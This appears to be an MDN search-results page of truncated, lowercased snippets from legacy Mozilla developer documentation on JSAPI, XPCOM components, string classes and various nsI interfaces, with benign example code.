...for example: jsbool my_getproperty(jscontext *cx, jsobject *obj, jsval id, jsval *vp) { jsbool ok; if (!js_enterlocalrootscope(cx)) return js_false; // this function doesn't need to bother rooting any new objects, // strings, or doubles it creates using cx.
... even if js_gc is // called, these new values will not be collected.
...new // items created in this local root scope become subject to gc.
JS_Init
once this method has succeeded, it is safe to call js_newruntime and other jsapi methods.
... in the past js_init once had the signature jsruntime * js_init(uint32_t maxbytes) and was used to create new jsruntime instances.
... this meaning has been removed; use js_newruntime instead.
... see also mxr id search for js_init js_newruntime js_shutdown bug 896124 ...
JS_SetGCCallback
specify a new callback function for the garbage collector.
... cb jsgccallback pointer to the new callback function to use.
...cb is a pointer to the new callback function to use.
...the application may store this return value in order to restore the original callback when the new callback is no longer needed.
TPS Bookmark Lists
changes: an object containing new properties to be set for this bookmark when this asset list is used in a modify action.
...changes: an object containing new properties to be set for this livemark when this asset list is used in a modify action.
...changes: an object containing new properties to be set for this folder when this asset list is used in a modify action.
...changes: an object containing new properties to be set for this separator when this asset list is used in a modify action.
XML Extras
file bugs for new test you have, and/or check them into extensions/xmlextras/tests/.
... begins with lower case letter xmlhttprequest creation new activexobject("msxml2.xmlhttp") new xmlhttprequest() xmlhttprequest.send("some string") ok ok starting with milestone 0.9.7 (actually nightly 2001-11-28).
... domparser creation not available new domparser() xmlserializer creation not available new xmlserializer() minimal documentation for the components listed above can be found using mozilla documentation generated by doxygen.
... file new bugs for additional documentation contributions, either specifically aimed at javascript developers or to complete & clarify the javadoc-style comments in the idl files.
Creating a Python XPCOM component
def __del__(self): if verbose: print "pysimple: __del__ method called - object is destructing" def write(self): print self.yourname def change(self, newname): self.yourname = newname then register your component; the procedure is the same for any component, but will not work if python components weren't enabled.
...then, the next time mozilla starts, it will rebuild the index of components, including any new one in the 'components' directory.
... it is helpful to then start mozilla from the command line to see if new components register successfully.
... # _reg_clsid_ = "{a new clsid generated for this object}" # _reg_contractid_ = "the.object.name" def get_value( self ): # result: string pass def set_value( self, param0 ): # result: void - none # in: param0: string pass as you can see, the output is valid python code, with basic signatures and useful comments for each of the methods.
How to build an XPCOM component in JavaScript
there are many interfaces already defined in mozilla applications, so you may not need to define a new one.
...here's the xpidl definition for our helloworld component: helloworld.idl #include "nsisupports.idl" [scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsihelloworld : nsisupports { string hello(); }; note that you must generate a new uuid for each xpcom component that you create.
... for a new component in firefox/thunderbird/b2g if you are adding a new feature to applications in the mozilla-central repository, you can create a makefile listing the idl files and the build system will automatically generate the typelib.
...if not // provided, the default factory is used, which returns // |(new mycomponent()).queryinterface(iid)| in its createinstance().
Using XPCOM Utilities to Make Things Easier
to write a different component library, you could copy the listing at the end of the chapter, change very little, and paste it into a new project.
... // returns a reference to a shared nsiid object\ static const nsiid iid1 = ns_get_iid(nsisupports); // constructs a new nsiid object static const nsiid iid2 = ns_isupports_iid; in order to use ns_impl_isupportsn, you must be sure that a member variable of type nsrefcnt is defined and named mrefcnt in your class.
...c module code from weblock1.cpp using the macros described in this chapter: weblock2.cpp #include "nsigenericfactory.h" #include "nsisupportsutils.h" #define sample_cid \ { 0x777f7150, 0x4a2b, 0x4301, \ { 0xad, 0x10, 0x5e, 0xab, 0x25, 0xb3, 0x22, 0xaa}} class sample: public nsisupports { public: sample(); virtual ~sample(); ns_decl_isupports }; sample::sample() { // note: in newer versions of gecko (1.3 or later) // you don't have to do this: ns_init_isupports(); } sample::~sample() { } ns_impl_isupports1(sample, nsisupports); ns_generic_factory_constructor(sample); static const nsmodulecomponentinfo components[] = { { "pretty class name", sample_cid, "@company.com/sample", sampleconstructor } }; ns_impl_nsgetmodule(nssamplemodule, components) ...
...if for some reason you need to adjust the reference count, you must assign the nscomptr to a new variable and addref that.
XPCShell Reference
it dumps whatever is passed to the screen, putting spaces between arguments and appending a newline at the end.
... an example print(1, 2, 3) will print 1 2 3<newline>.
...it only handles one parameter and it doesn't append a newline.
... version(newversion) version() returns the javascript engine version number.
NS_ConvertASCIItoUTF16
replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar anewchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*...
...(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
NS_ConvertUTF16toUTF8
replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char anewchar void replacechar(const char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) ...
...st nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
NS_ConvertUTF8toUTF16
replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar anewchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*...
...(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
NS_LossyConvertUTF16toASCII
replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char anewchar void replacechar(const char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) ...
...st nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsAdoptingCString
replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char anewchar void replacechar(const char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) ...
...st nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsAdoptingString
replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar anewchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*...
...(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsAutoString
replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar anewchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*...
...(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsCAutoString
replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char anewchar void replacechar(const char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(cons...
...ource parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
... parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsCString
replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char anewchar void replacechar(const char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) ...
...st nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsDependentCString
replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char anewchar void replacechar(const char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) ...
...st nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsDependentString
replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar anewchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*...
...(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsFixedCString
replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char anewchar void replacechar(const char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) ...
...st nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsFixedString
replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar anewchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*...
...(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsPromiseFlatCString
replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char anewchar void replacechar(const char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) ...
...st nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsPromiseFlatString
replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar anewchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*...
...(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsString
replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar anewchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*...
...(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsXPIDLCString
replacechar void replacechar(char, char) - source swaps occurence of 1 string for another parameters char aoldchar char anewchar void replacechar(const char*, char) - source parameters char* aset char anewchar replacesubstring void replacesubstring(const nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) ...
...st nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsXPIDLString
replacechar void replacechar(prunichar, prunichar) - source swaps occurence of 1 string for another parameters prunichar aoldchar prunichar anewchar void replacechar(const char*, prunichar) - source parameters char* aset prunichar anewchar replacesubstring void replacesubstring(const nsstring&, const nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*...
...(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
mozIStorageBindingParamsArray
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create these objects by calling the mozistoragestatement.newbindingparamsarray().
... method overview void addparams(in mozistoragebindingparams aparameters); mozistoragebindingparams newbindingparams(); attributes attribute type description length unsigned long the number of mozistoragebindingparams objects in the array.
... newbindingparams() creates and returns a new, empty, mozistoragebindingparams object to which you can add parameters and their values for binding.
... mozistoragebindingparams newbindingparams(); parameters none.
nsIAppShellService
void createhiddenwindow( in nsiappshell aappshell ); parameters aappshell a widget "appshell" (event processor) to associate with the new window.
... aurl the contents of the new window.
... aappshell a widget "appshell" (event processor) to associate with the new window.
... return value returns the newly created window.
nsIDOMNode
inherits from: nsisupports last changed in gecko 0.9.6 method overview nsidomnode appendchild(in nsidomnode newchild) nsidomnode clonenode(in boolean deep); boolean hasattributes(); boolean haschildnodes(); nsidomnode insertbefore(in nsidomnode newchild, in nsidomnode refchild) boolean issupported(in domstring feature, in domstring version); void normalize(); nsidomnode removechild(in nsidomnode oldchild) nsidomnode replacechild(in nsidomnode newchild, in nsidomnode oldchild) attributes attribute type description attributes nsidomnamednodemap read only.
... constants constant value description element_node 1 attribute_node 2 text_node 3 cdata_section_node 4 entity_reference_node 5 entity_node 6 processing_instruction_node 7 comment_node 8 document_node 9 document_type_node 10 document_fragment_node 11 notation_node 12 methods appendchild() nsidomnode appendchild( in nsidomnode newchild ); parameters newchild return value clonenode() nsidomnode clonenode( in boolean deep ); parameters deep return value hasattributes() boolean hasattributes(); parameters none.
...return value insertbefore() nsidomnode insertbefore( in nsidomnode newchild, in nsidomnode refchild ); parameters newchild refchild return value issupported() boolean issupported( in domstring feature, in domstring version ); parameters feature version return value normalize() void normalize(); parameters none.
... removechild() nsidomnode removechild( in nsidomnode oldchild ); parameters oldchild return value replacechild() nsidomnode replacechild( in nsidomnode newchild, in nsidomnode oldchild ); parameters newchild oldchild return value see also document object model (dom) level 2 core specificationrec ...
nsIDOMOfflineResourceList
updateready 4 there is a new version of the application cache available.
... swapcache() swaps in the newest version of the application cache.
... the newest version of resources are updated on first refresh.
...this will check for a new cache manifest but will not tell the browser to use the updated cache.
nsIDynamicContainer
method overview void oncontainermoved(in long long aitemid, in long long anewparent, in long anewindex); void oncontainernodeclosed(in nsinavhistorycontainerresultnode acontainer); void oncontainernodeopening(in nsinavhistorycontainerresultnode acontainer, in nsinavhistoryqueryoptions aoptions); void oncontainerremoving(in long long aitemid); methods oncontainermoved() this method is called when the given container has just been moved, in case the service needs to...
...void oncontainermoved( in long long aitemid, in long long anewparent, in long anewindex ); parameters aitemid the item-id of the container item.
... anewparent the item of the new parent folder for the container.
... anewindex the index at which the container will be inserted, or "-1" to append to the end of the list.
nsILocaleService
localeservice = components.classes["@mozilla.org/intl/nslocaleservice;1"] .getservice(components.interfaces.nsilocaleservice); method overview nsilocale getapplicationlocale(); astring getlocalecomponentforuseragent(); nsilocale getlocalefromacceptlanguage(in string acceptlanguage); nsilocale getsystemlocale(); nsilocale newlocale(in astring alocale); nsilocale newlocaleobject(in nsilocaledefinition localedefinition); obsolete since gecko 1.9 methods getapplicationlocale() gets the user preference for locale from the operating system.
...newlocale() create a new nsilocale from a locale string.
... nsilocale newlocale( in astring alocale ); parameters alocale a locale code as described in nsilocale.
... newlocaleobject() obsolete since gecko 1.9 (firefox 3) nsilocale newlocaleobject( in nsilocaledefinition localedefinition ); parameters localedefinition a locale definition as described in nsilocaledefinition.
nsIPromptService
upon return, if the user pressed ok, then this parameter contains a newly allocated string value.
...upon return, if the user pressed ok, then this parameter contains a newly allocated string value.
...upon return, if the user pressed ok, then this parameter contains a newly allocated string value.
...upon return, if the user pressed ok, then this parameter contains a newly allocated string value.
nsISocketProvider
void newsocket(in long afamily, in string ahost, in long aport, in string aproxyhost, in long aproxyport, in unsigned long aflags, out prfiledescstar afiledesc, out nsisupports asecurityinfo); native code only!
...parameters are the same as newsocket() with the exception of afiledesc, which is an input parameter instead.
... native code only!newsocket creates a new socket.
... void newsocket( in long afamily, in string ahost, in long aport, in string aproxyhost, in long aproxyport, in unsigned long aflags, out prfiledescstar afiledesc, out nsisupports asecurityinfo ); parameters afamily the address family for this socket (pr_af_inet or pr_af_inet6).
nsIThreadManager
nsithread newthread(in unsigned long creationflags); attributes attribute type description currentthread nsithread the currently executing thread.
... newthread() create a new thread.
... nsithread newthread( in unsigned long creationflags ); parameters creationflags reserved for future use.
... return value the newly created nsithread.
nsIToolkitProfileService
startoffline boolean startwithlastprofile boolean methods createprofile() creates a new profile.
... aname the name to give the new profile.
... return value an nsitoolkitprofile object representing the newly-created profile.
... ns_error_out_of_memory unable to allocate the new profile object.
nsIURI
to create an nsiuri object, you should use nsiioservice.newuri(), like this: function makeuri(aurl, aorigincharset, abaseuri) { var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); return ioservice.newuri(aurl, aorigincharset, abaseuri); } components of a uri prepath path scheme userpass host port ref ...
...setting the spec causes the new spec to be parsed using the rules for the scheme the uri currently has.
... if the uri stores information from the nsiioservice interface's nsiioservice.newuri() call that created it, other than just the parsed string, the behavior of this information when setting the spec attribute is undefined.
... methods clone() clones the uri, returning a new nsiuri object.
nsIXULWindow
void assumechromeflagsarefrozen(); void center(in nsixulwindow arelative, in boolean ascreen, in boolean aalert); nsixulwindow createnewwindow(in print32 achromeflags, in nsiappshell aappshell); nsidocshelltreeitem getcontentshellbyid(in wstring id); void removechildwindow(in nsixulwindow achild); void showmodal(); attributes attribute type description chromeflags pruint32 chromeflags are from nsiwebbrowserchrome.
... createnewwindow() create a new window.
... nsixulwindow createnewwindow( in print32 achromeflags, in nsiappshell aappshell ); parameters achromeflags see nsiwebbrowserchrome.
... return value the newly minted window.
nsIZipWriter
addentrydirectory() adds a new directory entry to the zip file.
... addentryfile() adds a new file or directory to the zip file.
... example adding a comment to a zip file var zipwriter = components.constructor("@mozilla.org/zipwriter;1", "nsizipwriter"); var zipw = new zipwriter(); zipw.open(myzipfilepath, pr_rdwr | pr_create_file | pr_truncate); zipw.comment = "this is a comment."; zipw.close(); pr_rdwr and friends are constants that are not in any interface (see bug 433295), so for the code above to work you need something like: const pr_rdonly = 0x01; const pr_wronly = 0x02; const pr_rdwr = 0x04; const pr_create_file = 0x08; const pr_app...
... var zipwriter = components.constructor("@mozilla.org/zipwriter;1", "nsizipwriter"); var zipw = new zipwriter(); zipw.open(myzipfilepath, pr_rdwr | pr_create_file | pr_truncate); zipw.addentryfile("path/for/this/file/in/zip archive", components.interfaces.nsizipwriter.compression_default, thefile, false); zipw.close(); the argument myzipfilepath isn't a path but rather it has to be an nsifile instance specifying the location of the new zip file.
XPCOM Thread Synchronization
quick reference: difference between nsautolock api and new api old construction note: this is deprecated code that is shown only to compare with approved code.
... prlock* mlock; prmonitor* mmonitor; prcondvar* mcvar; fooconstructor() { } nsresult init() { mlock = nsautolock::newlock("foo lock"); // check for null mmonitor = nsautomonitor::newmonitor("foo monitor"); // check for null mcvar = pr_newcondvar(mrawlock); // check for null // ...
